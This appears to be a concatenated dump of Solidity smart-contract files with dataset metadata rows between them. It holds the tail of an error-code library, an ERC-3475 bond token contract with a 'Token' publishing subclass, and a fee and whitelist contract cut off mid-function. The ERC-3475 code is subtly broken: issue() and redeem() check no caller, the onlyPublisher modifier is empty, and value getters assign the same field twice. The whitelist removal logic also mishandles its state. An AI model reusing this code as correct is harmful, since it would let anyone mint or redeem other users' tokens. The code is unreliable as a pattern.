add(0x23, shl(8, prefixUint))) let revertReason := shl(200, add(formattedPrefix, add(add(units, shl(8, tenths)), shl(16, hundreds)))) // message will have the following layout: // [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ] // also write zeroes to the next 28 bytes of memory, but those are about to be overwritten. mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000) mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020) // The string length is fixed: 7 characters. mstore(0x24, 7) // Finally, the string itself is stored. mstore(0x44, revertReason) // the encoded message is therefore 4 + 32 + 32 + 32 = 100. revert(0, 100) } } library Errors { // Math uint256 internal constant ADD_OVERFLOW = 0; uint256 internal constant SUB_OVERFLOW = 1; uint256 internal constant SUB_UNDERFLOW = 2; uint256 internal constant MUL_OVERFLOW = 3; uint256 internal constant ZERO_DIVISION = 4; uint256 internal constant DIV_INTERNAL = 5; uint256 internal constant X_OUT_OF_BOUNDS = 6; uint256 internal constant Y_OUT_OF_BOUNDS = 7; uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8; uint256 internal constant INVALID_EXPONENT = 9; // Input uint256 internal constant OUT_OF_BOUNDS = 100; uint256 internal constant UNSORTED_ARRAY = 101; uint256 internal constant UNSORTED_TOKENS = 102; uint256 internal constant INPUT_LENGTH_MISMATCH = 103; uint256 internal constant ZERO_TOKEN = 104; uint256 internal constant INSUFFICIENT_DATA = 105; // Shared pools uint256 internal constant MIN_TOKENS = 200; uint256 internal constant MAX_TOKENS = 201; uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202; uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203; uint256 internal constant MINIMUM_BPT = 204; uint256 internal constant CALLER_NOT_VAULT = 205; uint256 internal constant UNINITIALIZED = 206; uint256 internal constant BPT_IN_MAX_AMOUNT = 207; uint256 internal constant BPT_OUT_MIN_AMOUNT = 208; uint256 internal constant EXPIRED_PERMIT = 209; uint256 internal constant NOT_TWO_TOKENS = 210; uint256 internal constant DISABLED = 211; // Pools uint256 internal constant MIN_AMP = 300; uint256 internal constant MAX_AMP = 301; uint256 internal constant MIN_WEIGHT = 302; uint256 internal constant MAX_STABLE_TOKENS = 303; uint256 internal constant MAX_IN_RATIO = 304; uint256 internal constant MAX_OUT_RATIO = 305; uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306; uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307; uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308; uint256 internal constant INVALID_TOKEN = 309; uint256 internal constant UNHANDLED_JOIN_KIND = 310; uint256 internal constant ZERO_INVARIANT = 311; uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312; uint256 internal constant ORACLE_NOT_INITIALIZED = 313; uint256 internal constant ORACLE_QUERY_TOO_OLD = 314; uint256 internal constant ORACLE_INVALID_INDEX = 315; uint256 internal constant ORACLE_BAD_SECS = 316; uint256 internal constant AMP_END_TIME_TOO_CLOSE = 317; uint256 internal constant AMP_ONGOING_UPDATE = 318; uint256 internal constant AMP_RATE_TOO_HIGH = 319; uint256 internal constant AMP_NO_ONGOING_UPDATE = 320; uint256 internal constant STABLE_INVARIANT_DIDNT_CONVERGE = 321; uint256 internal constant STABLE_GET_BALANCE_DIDNT_CONVERGE = 322; uint256 internal constant RELAYER_NOT_CONTRACT = 323; uint256 internal constant BASE_POOL_RELAYER_NOT_CALLED = 324; uint256 internal constant REBALANCING_RELAYER_REENTERED = 325; uint256 internal constant GRADUAL_UPDATE_TIME_TRAVEL = 326; uint256 internal constant SWAPS_DISABLED = 327; uint256 internal constant CALLER_IS_NOT_LBP_OWNER = 328; uint256 internal constant PRICE_RATE_OVERFLOW = 329; uint256 internal constant INVALID_JOIN_EXIT_KIND_WHILE_SWAPS_DISABLED = 330; uint256 internal constant WEIGHT_CHANGE_TOO_FAST = 331; uint256 internal constant LOWER_GREATER_THAN_UPPER_TARGET = 332; uint256 internal constant UPPER_TARGET_TOO_HIGH = 333; uint256 internal constant UNHANDLED_BY_LINEAR_POOL = 334; uint256 internal constant OUT_OF_TARGET_RANGE = 335; uint256 internal constant UNHANDLED_EXIT_KIND = 336; uint256 internal constant UNAUTHORIZED_EXIT = 337; uint256 internal constant MAX_MANAGEMENT_SWAP_FEE_PERCENTAGE = 338; uint256 internal constant UNHANDLED_BY_MANAGED_POOL = 339; uint256 internal constant UNHANDLED_BY_PHANTOM_POOL = 340; uint256 internal constant TOKEN_DOES_NOT_HAVE_RATE_PROVIDER = 341; uint256 internal constant INVALID_INITIALIZATION = 342; uint256 internal constant OUT_OF_NEW_TARGET_RANGE = 343; uint256 internal constant FEATURE_DISABLED = 344; uint256 internal constant UNINITIALIZED_POOL_CONTROLLER = 345; uint256 internal constant SET_SWAP_FEE_DURING_FEE_CHANGE = 346; uint256 internal constant SET_SWAP_FEE_PENDING_FEE_CHANGE = 347; uint256 internal constant CHANGE_TOKENS_DURING_WEIGHT_CHANGE = 348; uint256 internal constant CHANGE_TOKENS_PENDING_WEIGHT_CHANGE = 349; uint256 internal constant MAX_WEIGHT = 350; uint256 internal constant UNAUTHORIZED_JOIN = 351; uint256 internal constant MAX_MANAGEMENT_AUM_FEE_PERCENTAGE = 352; uint256 internal constant FRACTIONAL_TARGET = 353; uint256 internal constant ADD_OR_REMOVE_BPT = 354; uint256 internal constant INVALID_CIRCUIT_BREAKER_BOUNDS = 355; uint256 internal constant CIRCUIT_BREAKER_TRIPPED = 356; uint256 internal constant MALICIOUS_QUERY_REVERT = 357; uint256 internal constant JOINS_EXITS_DISABLED = 358; // Lib uint256 internal constant REENTRANCY = 400; uint256 internal constant SENDER_NOT_ALLOWED = 401; uint256 internal constant PAUSED = 402; uint256 internal constant PAUSE_WINDOW_EXPIRED = 403; uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404; uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405; uint256 internal constant INSUFFICIENT_BALANCE = 406; uint256 internal constant INSUFFICIENT_ALLOWANCE = 407; uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408; uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409; uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410; uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411; uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412; uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413; uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414; uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415; uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416; uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417; uint256 internal constant SAFE_ERC20_CALL_FAILED = 418; uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419; uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420; uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421; uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422; uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423; uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424; uint256 internal constant BUFFER_PERIOD_EXPIRED = 425; uint256 internal constant CALLER_IS_NOT_OWNER = 426; uint256 internal constant NEW_OWNER_IS_ZERO = 427; uint256 internal constant CODE_DEPLOYMENT_FAILED = 428; uint256 internal constant CALL_TO_NON_CONTRACT = 429; uint256 internal constant LOW_LEVEL_CALL_FAILED = 430; uint256 internal constant NOT_PAUSED = 431; uint256 internal constant ADDRESS_ALREADY_ALLOWLISTED = 432; uint256 internal constant ADDRESS_NOT_ALLOWLISTED = 433; uint256 internal constant ERC20_BURN_EXCEEDS_BALANCE = 434; uint256 internal constant INVALID_OPERATION = 435; uint256 internal constant CODEC_OVERFLOW = 436; uint256 internal constant IN_RECOVERY_MODE = 437; uint256 internal constant NOT_IN_RECOVERY_MODE = 438; uint256 internal constant INDUCED_FAILURE = 439; uint256 internal constant EXPIRED_SIGNATURE = 440; uint256 internal constant MALFORMED_SIGNATURE = 441; uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_UINT64 = 442; uint256 internal constant UNHANDLED_FEE_TYPE = 443; uint256 internal constant BURN_FROM_ZERO = 444; // Vault uint256 internal constant INVALID_POOL_ID = 500; uint256 internal constant CALLER_NOT_POOL = 501; uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502; uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503; uint256 internal constant INVALID_SIGNATURE = 504; uint256 internal constant EXIT_BELOW_MIN = 505; uint256 internal constant JOIN_ABOVE_MAX = 506; uint256 internal constant SWAP_LIMIT = 507; uint256 internal constant SWAP_DEADLINE = 508; uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509; uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510; uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511; uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512; uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513; uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514; uint256 internal constant INVALID_POST_LOAN_BALANCE = 515; uint256 internal constant INSUFFICIENT_ETH = 516; uint256 internal constant UNALLOCATED_ETH = 517; uint256 internal constant ETH_TRANSFER = 518; uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519; uint256 internal constant TOKENS_MISMATCH = 520; uint256 internal constant TOKEN_NOT_REGISTERED = 521; uint256 internal constant TOKEN_ALREADY_REGISTERED = 522; uint256 internal constant TOKENS_ALREADY_SET = 523; uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524; uint256 internal constant NONZERO_TOKEN_BALANCE = 525; uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526; uint256 internal constant POOL_NO_TOKENS = 527; uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528; // Fees uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600; uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601; uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602; uint256 internal constant AUM_FEE_PERCENTAGE_TOO_HIGH = 603; // FeeSplitter uint256 internal constant SPLITTER_FEE_PERCENTAGE_TOO_HIGH = 700; // Misc uint256 internal constant UNIMPLEMENTED = 998; uint256 internal constant SHOULD_NOT_HAPPEN = 999; }
264,169
12,187
e344d5e0f06f383ae3b546227f4f09298b81c25cf60fbdc2933d48f901009c6c
32,196
.sol
Solidity
false
356984445
Debond-Protocol/EIP-3475
68a23f7d2d0c1e86c7a7be6463756ccdddfef77f
beta/antique.sol
5,063
20,188
// SPDX-License-Identifier: CC0-1.0 pragma solidity ^0.8.0; interface IERC3475 { // STRUCTURE struct Values { string stringValue; uint uintValue; address addressValue; bool boolValue; } struct Metadata { string title; string _type; string description; } struct Transaction { uint256 classId; uint256 nonceId; uint256 _amount; } // WRITABLES function transferFrom(address _from, address _to, Transaction[] calldata _transactions) external; function transferAllowanceFrom(address _from, address _to, Transaction[] calldata _transactions) external; function issue(address _to, Transaction[] calldata _transactions) external; function redeem(address _from, Transaction[] calldata _transactions) external; function burn(address _from, Transaction[] calldata _transactions) external; function approve(address _spender, Transaction[] calldata _transactions) external; function setApprovalFor(address _operator, bool _approved) external; // READABLES function totalSupply(uint256 classId, uint256 nonceId) external view returns (uint256); function redeemedSupply(uint256 classId, uint256 nonceId) external view returns (uint256); function activeSupply(uint256 classId, uint256 nonceId) external view returns (uint256); function burnedSupply(uint256 classId, uint256 nonceId) external view returns (uint256); function balanceOf(address _account, uint256 classId, uint256 nonceId) external view returns (uint256); function classMetadata(uint256 metadataId) external view returns (Metadata memory); function nonceMetadata(uint256 classId, uint256 metadataId) external view returns (Metadata memory); function classValues(uint256 classId, uint256 metadataId) external view returns (Values memory); function nonceValues(uint256 classId, uint256 nonceId, uint256 metadataId) external view returns (Values memory); function getProgress(uint256 classId, uint256 nonceId) external view returns (uint256 progressAchieved, uint256 progressRemaining); function allowance(address _owner, address _spender, uint256 classId, uint256 nonceId) external view returns (uint256); function isApprovedFor(address _owner, address _operator) external view returns (bool); // EVENTS event Transfer(address indexed _operator, address indexed _from, address indexed _to, Transaction[] _transactions); event Issue(address indexed _operator, address indexed _to, Transaction[] _transactions); event Redeem(address indexed _operator, address indexed _from, Transaction[] _transactions); event Burn(address indexed _operator, address indexed _from, Transaction[] _transactions); event ApprovalFor(address indexed _owner, address indexed _operator, bool _approved); } interface IERC3475EXTENSION { // STRUCTURE struct ValuesExtension { string stringValue; uint uintValue; address addressValue; bool boolValue; string[] stringArrayValue; uint[] uintArrayValue; address[] addressArrayValue; bool[] boolAraryValue; } function classValuesFromTitle(uint256 _classId, string memory _metadataTitle) external view returns (ValuesExtension memory); function nonceValuesFromTitle(uint256 _classId, uint256 _nonceId, string memory _metadataTitle) external view returns (ValuesExtension memory); event classCreated(address indexed _operator, uint256 _classId); event updateClassMetadata(address indexed _operator, uint256 _classId, ValuesExtension[] oldMetedata, ValuesExtension[] newMetedata); event updateNonceMetadata(address indexed _operator, uint256 _classId, uint256 _nonceId, ValuesExtension[] oldMetedata, ValuesExtension[] newMetedata); } contract ERC3475 is IERC3475, IERC3475EXTENSION { struct Nonce { mapping(uint256 => string) _valuesId; mapping(string => ValuesExtension) _values; // stores the values corresponding to the dates (issuance and maturity date). mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; // supplies of this nonce uint256 _activeSupply; uint256 _burnedSupply; uint256 _redeemedSupply; } struct Class { mapping(uint256 => string) _valuesId; mapping(string => ValuesExtension) _values; mapping(uint256 => IERC3475.Metadata) _nonceMetadatas; mapping(uint256 => Nonce) _nonces; } mapping(address => mapping(address => bool)) _operatorApprovals; // from classId given mapping(uint256 => Class) internal _classes; mapping(uint256 => IERC3475.Metadata) _classMetadata; constructor() { } // WRITABLES function transferFrom(address _from, address _to, Transaction[] memory _transactions) public virtual override { require(_from != address(0), "ERC3475: can't transfer from the zero address"); require(_to != address(0), "ERC3475:use burn() instead"); require(msg.sender == _from || isApprovedFor(_from, msg.sender), "ERC3475:caller-not-owner-or-approved"); uint256 len = _transactions.length; for (uint256 i = 0; i < len; i++) { _transferFrom(_from, _to, _transactions[i]); } emit Transfer(msg.sender, _from, _to, _transactions); } function transferAllowanceFrom(address _from, address _to, Transaction[] memory _transactions) public virtual override { require(_from != address(0), "ERC3475: can't transfer allowed amt from zero address"); require(_to != address(0), "ERC3475: use burn() instead"); uint256 len = _transactions.length; for (uint256 i = 0; i < len; i++) { require(_transactions[i]._amount <= allowance(_from, msg.sender, _transactions[i].classId, _transactions[i].nonceId), "ERC3475:caller-not-owner-or-approved"); _transferAllowanceFrom(msg.sender, _from, _to, _transactions[i]); } emit Transfer(msg.sender, _from, _to, _transactions); } function issue(address _to, Transaction[] memory _transactions) external virtual override { uint256 len = _transactions.length; for (uint256 i = 0; i < len; i++) { require(_to != address(0), "ERC3475: can't issue to the zero address"); _issue(_to, _transactions[i]); } emit Issue(msg.sender, _to, _transactions); } function redeem(address _from, Transaction[] memory _transactions) external virtual override { require(_from != address(0), "ERC3475: can't redeem from the zero address"); uint256 len = _transactions.length; for (uint256 i = 0; i < len; i++) { (, uint256 progressRemaining) = getProgress(_transactions[i].classId, _transactions[i].nonceId); require(progressRemaining == 0, "ERC3475 Error: Not redeemable"); _redeem(_from, _transactions[i]); } emit Redeem(msg.sender, _from, _transactions); } function burn(address _from, Transaction[] memory _transactions) external virtual override { require(_from != address(0), "ERC3475: can't burn from the zero address"); require(msg.sender == _from || isApprovedFor(_from, msg.sender), "ERC3475: caller-not-owner-or-approved"); uint256 len = _transactions.length; for (uint256 i = 0; i < len; i++) { _burn(_from, _transactions[i]); } emit Burn(msg.sender, _from, _transactions); } function approve(address _spender, Transaction[] memory _transactions) external virtual override { for (uint256 i = 0; i < _transactions.length; i++) { _classes[_transactions[i].classId] ._nonces[_transactions[i].nonceId] ._allowances[msg.sender][_spender] = _transactions[i]._amount; } } function setApprovalFor(address operator, bool approved) public virtual override { _operatorApprovals[msg.sender][operator] = approved; emit ApprovalFor(msg.sender, operator, approved); } // READABLES function totalSupply(uint256 classId, uint256 nonceId) public view override returns (uint256) { return (activeSupply(classId, nonceId) + burnedSupply(classId, nonceId) + redeemedSupply(classId, nonceId)); } function activeSupply(uint256 classId, uint256 nonceId) public view override returns (uint256) { return _classes[classId]._nonces[nonceId]._activeSupply; } function burnedSupply(uint256 classId, uint256 nonceId) public view override returns (uint256) { return _classes[classId]._nonces[nonceId]._burnedSupply; } function redeemedSupply(uint256 classId, uint256 nonceId) public view override returns (uint256) { return _classes[classId]._nonces[nonceId]._redeemedSupply; } function balanceOf(address account, uint256 classId, uint256 nonceId) public view override returns (uint256) { require(account != address(0), "ERC3475: balance query for the zero address"); return _classes[classId]._nonces[nonceId]._balances[account]; } function classMetadata(uint256 metadataId) external view override returns (Metadata memory) { return (_classMetadata[metadataId]); } function nonceMetadata(uint256 classId, uint256 metadataId) external view override returns (Metadata memory) { return (_classes[classId]._nonceMetadatas[metadataId]); } function classValues(uint256 classId, uint256 metadataId) external view override returns (Values memory) { string memory title = _classes[classId]._valuesId[metadataId]; Values memory result; result.stringValue = _classes[classId]._values[title].stringValue; result.uintValue = _classes[classId]._values[title].uintValue; result.addressValue = _classes[classId]._values[title].addressValue; result.stringValue = _classes[classId]._values[title].stringValue; return (result); } function nonceValues(uint256 classId, uint256 nonceId, uint256 metadataId) external view override returns (Values memory) { string memory title = _classes[classId]._nonces[nonceId]._valuesId[metadataId]; Values memory result; result.stringValue = _classes[classId]._nonces[nonceId]._values[title].stringValue; result.uintValue = _classes[classId]._nonces[nonceId]._values[title].uintValue; result.addressValue = _classes[classId]._nonces[nonceId]._values[title].addressValue; result.stringValue = _classes[classId]._nonces[nonceId]._values[title].stringValue; return (result); } function nonceValuesFromTitle(uint256 classId, uint256 nonceId, string memory metadataTitle) external view returns (ValuesExtension memory) { return (_classes[classId]._nonces[nonceId]._values[metadataTitle]); } function classValuesFromTitle(uint256 classId, string memory metadataTitle) external view returns (ValuesExtension memory) { return (_classes[classId]._values[metadataTitle]); } function getProgress(uint256 classId, uint256 nonceId) public view override returns (uint256 progressAchieved, uint256 progressRemaining){ uint256 issuanceDate = _classes[classId]._nonces[nonceId]._values["issuranceTime"].uintValue; uint256 maturityPeriod = _classes[classId]._values["maturityPeriod"].uintValue; // check whether the bond is being already initialized: progressAchieved = block.timestamp > issuanceDate? block.timestamp - issuanceDate : 0; progressRemaining = progressAchieved < maturityPeriod ? maturityPeriod - progressAchieved : 0; } function allowance(address _owner, address spender, uint256 classId, uint256 nonceId) public view virtual override returns (uint256) { return _classes[classId]._nonces[nonceId]._allowances[_owner][spender]; } function isApprovedFor(address _owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[_owner][operator]; } // INTERNALS function _transferFrom(address _from, address _to, IERC3475.Transaction memory _transaction) private { Nonce storage nonce = _classes[_transaction.classId]._nonces[_transaction.nonceId]; require(nonce._balances[_from] >= _transaction._amount, "ERC3475: not enough bond to transfer"); //transfer balance nonce._balances[_from] -= _transaction._amount; nonce._balances[_to] += _transaction._amount; } function _transferAllowanceFrom(address _operator, address _from, address _to, IERC3475.Transaction memory _transaction) private { Nonce storage nonce = _classes[_transaction.classId]._nonces[_transaction.nonceId]; require(nonce._balances[_from] >= _transaction._amount, "ERC3475: not allowed _amount"); // reducing the allowance and decreasing accordingly. nonce._allowances[_from][_operator] -= _transaction._amount; //transfer balance nonce._balances[_from] -= _transaction._amount; nonce._balances[_to] += _transaction._amount; } function _issue(address _to, IERC3475.Transaction memory _transaction) private { Nonce storage nonce = _classes[_transaction.classId]._nonces[_transaction.nonceId]; //transfer balance nonce._balances[_to] += _transaction._amount; nonce._activeSupply += _transaction._amount; } function _redeem(address _from, IERC3475.Transaction memory _transaction) private { Nonce storage nonce = _classes[_transaction.classId]._nonces[_transaction.nonceId]; require(nonce._balances[_from] >= _transaction._amount, "ERC3475: not enough bond to transfer"); //transfer balance nonce._balances[_from] -= _transaction._amount; nonce._activeSupply -= _transaction._amount; nonce._redeemedSupply += _transaction._amount; } function _burn(address _from, IERC3475.Transaction memory _transaction) private { Nonce storage nonce = _classes[_transaction.classId]._nonces[_transaction.nonceId]; require(nonce._balances[_from] >= _transaction._amount, "ERC3475: not enough bond to transfer"); //transfer balance nonce._balances[_from] -= _transaction._amount; nonce._activeSupply -= _transaction._amount; nonce._burnedSupply += _transaction._amount; } } contract Token is ERC3475 { address public publisher; uint256 public lastAvailableClass; struct Data { uint256 onChainDate; string identificationNumber; string warrantNumber; string[] authorName; address[] authorChainAddress; string[] sponsorName; string domain; string subdomain; string introduction; string[] keyWords; string license; string[] cover; } modifier onlyPublisher{ _; } constructor() { publisher = msg.sender; _classes[0]._values["nonceProprity"].stringValue = "{'0':'ownership'}"; _classes[0]._values["category"].stringValue = "proprity"; _classes[0]._values["subcategory"].stringValue = "object"; _classes[0]._values["childCategory"].stringValue = "artifact"; _classes[0]._values["warrantorName"].stringValue = "ShangHai"; _classes[0]._values["warrantorType"].stringValue = "ShangHai"; _classes[0]._values["warrantorJurisdiction"].stringValue = "ShangHai"; _classes[0]._values["warrantorRegistrationAddress"].stringValue = "ShangHai"; _classes[0]._values["warrantorURL"].stringValue = "ShangHai"; _classes[0]._values["warrantorLogo"].stringValue = "ShangHai"; _classes[0]._values["warrantorDocURL"].stringValue = "ShangHai"; _classes[0]._values["warrantorIndustry"].stringValue = "ShangHai"; _classes[0]._values["warrantorChainAddress"].stringValue = "ShangHai"; } function _issueToken(address _to, IERC3475.Transaction memory _transaction) internal { Nonce storage nonce = _classes[_transaction.classId]._nonces[_transaction.nonceId]; //transfer balance nonce._balances[_to] += _transaction._amount; nonce._activeSupply += _transaction._amount; } function getPaper(uint256 classeId) public view returns(Data memory result){ result.onChainDate = _classes[classeId]._values["onChainDate"].uintValue; result.identificationNumber = _classes[classeId]._values["identificationNumber"].stringValue; result.warrantNumber = _classes[classeId]._values["warrantNumber"].stringValue; result.authorName =_classes[classeId]._values["authorName"].stringArrayValue; result.authorChainAddress =_classes[classeId]._values["authorChainAddress"].addressArrayValue; result.sponsorName= _classes[classeId]._values["sponsorName"].stringArrayValue; result.domain =_classes[classeId]._values["domain"].stringValue; result.subdomain = _classes[classeId]._values["subdomain"].stringValue; result.introduction= _classes[classeId]._values["introduction"].stringValue; result.keyWords= _classes[classeId]._values["keyWords"].stringArrayValue ; result.license= _classes[classeId]._values["license"].stringValue ; result.cover = _classes[classeId]._values["cover"].stringArrayValue; } function publishProprity(uint256[] memory _amount, Data memory _inputValues) public onlyPublisher { lastAvailableClass++; uint256 newClassId = lastAvailableClass; _classes[newClassId]._values["identificationNumber"].stringValue = _inputValues.identificationNumber; _classes[newClassId]._values["warrantNumber"].stringValue = _inputValues.warrantNumber; _classes[newClassId]._values["authorName"].stringArrayValue = _inputValues.authorName; _classes[newClassId]._values["authorChainAddress"].addressArrayValue = _inputValues.authorChainAddress; _classes[newClassId]._values["sponsorName"].stringArrayValue = _inputValues.sponsorName; _classes[newClassId]._values["domain"].stringValue = _inputValues.domain; _classes[newClassId]._values["subdomain"].stringValue = _inputValues.subdomain; _classes[newClassId]._values["onChainDate"].uintValue = block.timestamp; _classes[newClassId]._values["introduction"].stringValue = _inputValues.introduction; _classes[newClassId]._values["keyWords"].stringArrayValue = _inputValues.keyWords; _classes[newClassId]._values["license"].stringValue = _inputValues.license; _classes[newClassId]._values["cover"].stringArrayValue = _inputValues.cover; _mintOwnershipTokens(newClassId, _amount, _inputValues); emit classCreated(msg.sender, newClassId); } function _mintOwnershipTokens(uint256 _classId, uint256[] memory _amounts, Data memory _inputValues) private { require(_amounts.length == _inputValues.authorName.length, "Token: invalid length for _amount"); // mint the ownership tokens to co-authors for(uint256 i = 0; i < _inputValues.authorChainAddress.length; i++) { Transaction memory _transaction; _transaction._amount = _amounts[i]; _transaction.classId = _classId; _transaction.nonceId = 0; _issueToken(_inputValues.authorChainAddress[i], _transaction); } } }
139,557
12,188
92de75cbc1eca4294d2fd99440397bda3f0cd30dcecba0288f894f479d830885
21,854
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/38/38dBc83DA4ed5FCbB0253AcE1994730Ca12B4A1F_RedeemAndFee.sol
5,897
20,944
// SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.8.12; library Counters { struct Counter { uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) {return msg.sender;} function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data;} } abstract contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getTime() public view returns (uint256) { return block.timestamp; } } interface IFractionalNFT { function balanceOf(address owner) external view returns (uint256 balance); function _tokenIds() external view returns (uint256); } interface INodeNFT { function balanceOf(address owner) external view returns (uint256 balance); } interface ITopNFTLister { function balanceOf(address owner) external view returns (uint256 balance); function _tokenIds() external view returns (uint256); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract RedeemAndFee is Ownable { uint public regularNFTFee = 2; uint public fractionNFTFee = 3; uint public privateNFTFee = 5; uint public regularRoyalty = 3; uint public fractionalRoyalty = 5; uint public privateRoyalty = 10; uint _marketplaceGenesisNFT_portion = 10; uint _fnft_wl_portion = 10; uint _nodenft_wl_portion = 10; uint _cheemsx_wl_portion = 10; uint _topNftLister_wl_portion = 10; uint _nftAngles_wl_portion = 10; uint _nftInfluencer_wl_portion = 10; uint node_total_supply = 10000; mapping (address=>uint) _marketplaceGenesisNFT_WL; mapping (address=>uint) _fnft_wl; mapping (address=>uint) _nodenft_wl; mapping (address=>uint) _cheemsx_wl; mapping (address=>uint) _topNftLister_wl; address[] _topNftLister; mapping (address=>uint) _nftAngles_wl; mapping (address=>uint) _nftInfluencer_wl; uint cnt_topNftLister_wl; uint cnt_nftAngles_wl; uint cnt_nftInfluencer_wl; uint cnt_fnft_wl; uint cnt_nodenft_wl; uint cnt_cheemsx_wl; uint cnt_marketplaceGenesisNFT_WL; bool isCheemsxAddress; bool isfNFT; bool isNodeNFT; address _marketplaceGenesisNFT; address _fNFT; address _nodeNFT; address _cheemsxAddress; bool public _isDistribute; uint _threshold = 10 * 10 ** 18; uint _claimableThreshold = 20 * 10 ** 18; mapping(address=>bool) _MarketWideDiscountedTransactionFees; mapping(address=>bool) _MarketWideNoFEEforTransaction; // no fee uint public step = 1; uint currentVal; constructor() { _fNFT = 0xAAF9591d9E62aCB8061599671f3788A875ced8D9; _nodeNFT = 0x8138822fB2f421a25E4AE483D1570Bd2406f94aA; _cheemsxAddress = 0x1F3fa5ba82eCfE38EB16d522377807Bc0F8C8519; } // ====================== get functions =============== function MarketWideDiscountedTransactionFees(address user) public view returns(bool) { return _MarketWideDiscountedTransactionFees[user]; } function MarketWideNoFEEforTransaction(address user) public view returns(bool) { return _MarketWideNoFEEforTransaction[user]; } // ============================ set functions ===================== function setRegularNFTFee (uint _fee) public onlyOwner { regularNFTFee = _fee; } function setFractionNFTFee (uint _fee) public onlyOwner { fractionNFTFee = _fee; } function setPrivateNFTFee (uint _fee) public onlyOwner { privateNFTFee = _fee; } function setRegularRoyalty (uint _fee) public onlyOwner { regularRoyalty = _fee; } function setFractionalRoyalty (uint _fee) public onlyOwner { fractionalRoyalty = _fee; } function setPrivateRoyalty (uint _fee) public onlyOwner { privateRoyalty = _fee; } function add_marketplaceGenesisNFT_WL(address[] memory user, bool isAdd) public onlyOwner { if(isAdd) { for(uint i = 0; i < user.length; i++) { if(_marketplaceGenesisNFT_WL[user[i]] == 0) { cnt_marketplaceGenesisNFT_WL++; } _marketplaceGenesisNFT_WL[user[i]] = step; } } else { for(uint i = 0; i < user.length; i++) { if(_marketplaceGenesisNFT_WL[user[i]] != 0) { cnt_marketplaceGenesisNFT_WL--; } } } } function add_fnft_wl(address[] memory user, bool isAdd) public onlyOwner { if(isAdd) { for(uint i = 0; i < user.length; i++) { if(_fnft_wl[user[i]] == 0) { cnt_fnft_wl++; if(user[i] == _fNFT){ isfNFT = true; } } _fnft_wl[user[i]] = step; } } else { for(uint i = 0; i < user.length; i++) { if(_fnft_wl[user[i]] != 0) { cnt_fnft_wl--; if(user[i] == _fNFT){ isfNFT = true; } } } } } function add_nodenft_wl(address[] memory user, bool isAdd) public onlyOwner { if(isAdd) { for(uint i = 0; i < user.length; 